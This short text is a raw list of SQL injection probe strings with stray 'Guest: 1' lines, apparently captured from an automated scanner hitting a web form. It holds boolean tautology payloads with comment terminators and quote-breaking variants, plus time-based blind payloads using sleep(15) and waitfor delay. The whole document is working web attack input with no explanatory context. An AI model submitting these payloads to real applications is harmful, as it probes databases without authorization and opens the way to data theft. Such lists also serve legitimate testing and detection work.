-1 OR 2+681-681-1=0+0+0+1 --

-1 OR 2+317-317-1=0+0+0+1

-1' OR 2+830-830-1=0+0+0+1 --

-1' OR 2+852-852-1=0+0+0+1 or 'wxIysbl2'='

-1" OR 2+65-65-1=0+0+0+1 --

if(now()=sysdate(),sleep(15),0)

Guest:
1
0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z

Guest:
1
0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z

(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

Guest:
1
-1; waitfor delay '0:0:15' --